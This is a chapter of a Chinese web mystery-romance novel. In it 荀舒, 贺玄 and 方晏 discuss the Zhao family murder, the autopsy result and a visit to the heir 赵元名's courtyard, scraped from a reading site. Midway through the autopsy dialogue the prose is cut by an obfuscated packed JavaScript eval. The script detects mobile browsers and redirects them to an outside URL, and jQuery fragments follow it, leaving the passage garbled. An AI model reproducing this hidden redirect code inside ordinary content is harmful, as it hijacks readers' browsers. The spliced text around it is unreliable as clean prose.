默认冷灰
24号文字
方正启体

9. 夭儿9

作者:慕沉酒本书字数:K更新时间:
    少年的表情认真,情丝浓烈如雨后春笋,须臾片刻便能穿破泥土,冲天而起。他将一颗真心捧到少女面前,殷切盼望着一个回应,话语虽有混乱,却是最真挚的灵魂。奈何那少女是个憨的,心智还未长成,瞧不出这真心的可贵,不明所以。


    荀舒眨了眨眼,一脸茫然:“你与我讲这些做甚?”


    贺玄看着荀舒,生出一种一拳打在棉花上的无力感。他抓耳挠腮,想说什么又不知该说什么,在原地打了几个圈,最后闷闷道:“算了,当我没说。”


    荀舒瞧着他的模样,意识到她仿佛错过了什么,她垂眸认真思索,却还是想不通她错过了什么。


    她自小长在深山,后来跟着姜拯生活,无论是那边,都是极为简单的环境。她所知道的家长里短情情爱爱,都是道听途说,要不就是书局里卖的话本子上写的,从未亲身经历过,也未有人与她分享,哪里能知道贺玄是什么意思?、


    可她也并非迟钝如顽石。


    仿佛有什么,在这一刻变得不同了,像是干涸的土地上开出了稚嫩的花,又像是枯死的树枝上抽出了新芽。她的心口暖暖的,刚刚的郁闷之气在这刻散尽,虽然她也不知道为何会这般。


    “你们怎么在此处?”


    不远处有喊声传来,而后是愈发靠近的脚步声,将荀舒杂乱的心绪打断。她向着声音的方向望去,瞧见了方晏和一个瘦弱的姑娘。


    那姑娘弱柳扶风之姿,穿着孝服,一双眼睛肿如桃子,嘴唇发紫,面上浮着一层淡淡的青色。她落后方晏半步,随着他的步伐前行,每走几步,便悄悄抬头看一眼方晏,自以为做得隐蔽,无人察觉。


    方晏带着那姑娘走到荀舒面前,主动为二人介绍:“这位是赵家二小姐,赵京蓉。”


    几人见过礼,还不等方晏发问,贺玄先开口,夹着几分隐约的不满:“你怎么到这儿来了?”


    方晏一愣,觉得这人脑子是不是不太灵光,他是督办此案的官员,他不在这谁在这?可此刻身边有外人,不方便与他争执,只闷声道:“我没在灵堂处瞧见你们,但瞧见了身体不适,快要晕厥的赵二小姐。本想着送她回院子歇息,却又在此处碰到了你们。”


    他离开赵夫人的院子,到前院灵堂,证明赵夫人的尸检已然有了结果。贺玄心中了然,并不多嘴,转而道:“我们在前院目睹了一场好戏,又和郑氏聊了几句。”


    “可问到什么重要的线索?”


    贺玄摇头:“无。所有的线索都零零散散,浮于表面,还需找到其中的那根骨头,将所有的线索链接。”他望着方晏,话中有话,“若方县尉忙的话,我和阿舒先行一步,方县尉忙完了,再来棺材铺寻我们便是。”


    方晏狠狠瞪了一眼贺玄,而后对一旁的倪大强道:“倪兄,劳烦你护送赵二小姐回院子,我与这两位有要事商谈。”


    “是。”


    倪大强护送着赵京蓉和她的婢女离开,赵京蓉一步三回头,依依不舍地望着方晏,偏方晏如一具石头人一般,丝毫不为所动。


    贺玄静静瞧着,突然发觉眼前这人和荀舒没什么两样,也不知是揣着明白装糊涂,还是真的如木头一般不开窍。也是这一刻,他突然想明白了,何必和荀舒这个小傻子计较?只要他有足够的时间,总能让她瞧见他的真心。


    等到赵京蓉的身影彻底不见后,荀舒叹了口气,道:“可惜。”


    荀舒说得含含糊糊,贺玄却立刻明白了她的意思,点头道:“确实,没几日了。”


    没了外人,方晏再不掩饰,阴沉着脸,文邹邹地讥讽:“倒不知贺兄如此博学,竟也会看面相。”


    贺玄翻了个白眼:“我是不会看面相,但我不瞎。”他冲着赵京蓉去的方向微微抬下巴,“羸弱成这般,走两步便要停下来休息片刻,平缓气息,哪里像是还能活很久的?”说完,他又转转头凑到荀舒面前,笑眯眯的,带着几分讨好之意,“我说的可对?”


    荀舒不习惯有人突然凑得这般近,一巴掌拍在他的俊脸上,将他推远,慢吞吞道:“差不多吧,但具体的我也说不好。她印堂虽黑气不散,却并不急切。精气残余不多,若用奇珍异药续命,兴许还能多活些时日。”


    听到她的话,方晏略有些烦闷。他同赵京蓉早就相识,赵京蓉就像是他的一个妹妹,柔柔弱弱,心性善良,从未做过坏事。这几年,他看着这个妹妹每日与娘胎里带出来的疾病缠斗,未有片刻喘息,怎么都想不明白,她为何得不到老天爷的怜悯,有这么一个结局。


    方晏不愿再细想此事,只想要尽快破案,抚慰赵京蓉心中的悲痛。他看着面前二人:“人也走了,说说吧,刚刚有什么发现?”


    贺玄将刚刚发生的事捡重点说了,末了点评了一句:“我们与素梅说话时,她半句未提王福婉和赵元名之间的事。她怎么可能不知道呢?就算此事真的不是她促成的,她最初不知晓,可赵夫人怎么可能不与她商议呢?她定然有所隐瞒。”


    “那郑氏呢?她可有嫌疑?”


    贺玄摸了摸下巴,仔细回忆刚刚的情形:“我瞧着她不像说谎,却也不能就这样排除嫌疑。”


    “她应当不是凶手。”荀舒突然接口,“我看了她的面相,面部骨骼平缓,眉毛纤细柔和,脸颊无肉,眼神略有些空洞。她的命算不得好,前半生应当经历了不少事。后半生看不真切,却没什么凶气。”


    没有凶气意味着大抵不是凶手,方晏似有些不信:“你可能确定?”


    荀舒迟疑片刻,摇摇头:“世事变幻莫测,我也只能窥见其中一角。其中或有我瞧不见的地方也说不定。”


    这一顿云里雾里的话,听得贺玄忍不住笑出声:“阿舒长大了,也学会不将话说死了。”


    荀舒捏着衣角,似有无奈:“总不能一直给你们添麻烦。”


    阳光洒落在她的睫毛上,在脸颊上投射出如小扇子一般的阴影。贺玄在一旁瞧着她这副模样,心疼不已,暗自恼恨自己刚刚为何要同她拌嘴。


    不过是个小姑娘,疼着哄着便是,他一个男人,何必与她较真儿?


    他伸出手掐了掐她软嫩的脸颊,笑道:“阿舒想做什么便做什么,永远不是我们的麻烦。”


    荀舒呆呆望着眼前的少年,半晌未有反应。方晏看着眼前俩人,心情烦躁,感觉自己仿佛被隔绝开来,不满地打断:“赵夫人的尸格出来了,你们到底想不想知道了?”


    荀舒回过神来,冲着方晏认认真真点头:“想的,方大哥快说吧。”


    方晏看了贺玄一眼,自得中带着几分挑衅。他清了清嗓子整了整衣冠,见荀舒的目光一刻不停地望向她,昂头挺胸慢悠悠道:“和前面推测的没什么差别,赵夫人为溺水而亡,脑后的伤口是生前所致,仵作推断是先被钝器击打后脑以至昏迷,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668260|173024||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    然后落入水中溺亡。死者周身未发现其他伤口,死前未与人发生搏斗。死亡时间大概是昨夜亥时到子时,其他没有什么特别的。”


    贺玄“啧啧”几声,眉毛挑得和抽筋似的:“还当有什么了不得的发现呢。”


    “竖子!逞口舌之快!”


    “总比你废话连篇好!”


    眼看二人又如两只斗鸡一般争执起来,荀舒站在一旁神情复杂:“你们二人一凑在一起,便如三岁小童一般,丢人不丢人呀?”


    方晏胸口起伏剧烈,闻言深呼吸,转身不再看贺玄:“也罢,本官不与他一般见识。”他顿了顿,将话题重新拉回赵夫人的案件上,“本官准备去寻赵家大公子,赵元名,你们可要同去?”


    荀舒点头:“自然。今日自进了这宅子,便没瞧见赵元名的身影。按理说,他是赵家长子,赵夫人唯一的亲生儿子,今日这般重要的场合,他不该不出面才是……也不知其中是否有隐情。”


    贺玄满眼都是赞同:“阿舒说得对,咱们一同去瞧瞧赵元名在搞什么名堂。”


    说完,他带着荀舒,跟着前方引路的仆役,向赵元名的院子去,走出几步后,不忘回头望向方晏:“方县尉,快跟上呀!莫不是腿脚不好,走不动道了?”


    方晏深呼吸,努力克制着抛弃读书人的斯文,同他打一架的冲动,咬着牙应和:“来了。”


    -


    赵元名的院子位于中路的最北面,夹在后院花园和赵县令的书房之间。书房院落的后门常年落锁,是以最北侧院落门前的这条通道,平日里只有赵元名房中之人会经过通行。


    一行人走到赵元名院落前,见院门紧闭,门前无人看守。


    方晏上前一步叩响门环,片刻后院门从内打开,露出一个满脸苦涩的少年的脸。


    引着几人来此的赵府仆役认得此人,主动向方晏介绍道:“这是大少爷的书童,淡墨。”而后又向淡墨道,“这是方县尉,还不行礼?”


    民见官理应叩拜,淡墨慌慌张张便要往地上扑,被方晏眼疾手快扶住:“这些虚礼便面了。我今日前来,是为了赵夫人的案子。赵元名呢?可在院中?”


    得知面前之人的身份,淡墨纵使再不情愿,也不得不将院门彻底打开,让几人进入院内。他边向院内走,边搓了搓手,略显局促,眼神闪躲:“大少爷知晓夫人之事后,心中难过,突然就病了,卧床不起,怕是不能见诸位大人。小的日日与我们少爷待在一处,诸位大人若有问题,不若问小的,小的可以替我们大少爷回答。”


    方晏顿住脚步,静静望着淡墨,未说一句话。


    跟着方晏的衙役大声呵斥淡墨:“我们大人来此是为了一桩杀人案,可不是来与你家大少爷叙旧的。至于你,就呆在院中莫要离远,一会儿自然也有问题要问你。”


    说完,衙役快走几步,到正屋门前,欲一脚踹开紧闭的房门,淡墨慌慌张张跑到他面前,扑通一声跪下,伏身趴在地上:“诸位大人莫要为难小的了,大少爷他确实还未起身。若你们强闯进去,小的怕是会被责罚的!”


    在这个小书童心中,赵府的大公子的话,竟是比官府之人的话还要重要。


    被挡住的衙役正要发怒,却见一直跟在最后的荀舒上前几步,耸了耸鼻子,道:“好大的酒气。”她侧身低头,看向跪在地上的书童,“你们大公子,可是宿醉未醒?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)